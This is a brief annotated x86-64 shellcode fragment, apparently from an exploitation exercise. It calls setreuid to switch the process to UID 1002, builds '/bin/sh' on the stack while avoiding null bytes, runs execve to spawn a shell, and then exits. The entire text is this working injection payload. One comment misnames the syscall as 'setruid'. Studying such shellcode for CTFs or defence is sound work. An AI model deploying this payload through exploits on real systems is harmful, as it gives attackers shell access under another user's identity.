xor rdi,rdi <------ set the rdi to 0 xor rax,rax xor rsi, rsi <------ set the rsi to 0 mov si, 1002 <------ put the value 1002 in the lower bits of the rsi mov di, 1002 <------ put the value 1002 in the lower bits of the rdi mov al,0x71 <------ put the setruid function in the al register syscall <------ call the function. xor rdx,rdx movabs rbx,0x68732f6e69622fff shr rbx,0x8 push rbx mov rdi,rsp xor rax,rax push rax push rdi mov rsi,rsp mov al,0x3b syscall push 0x1 pop rdi push 0x3c pop rax syscall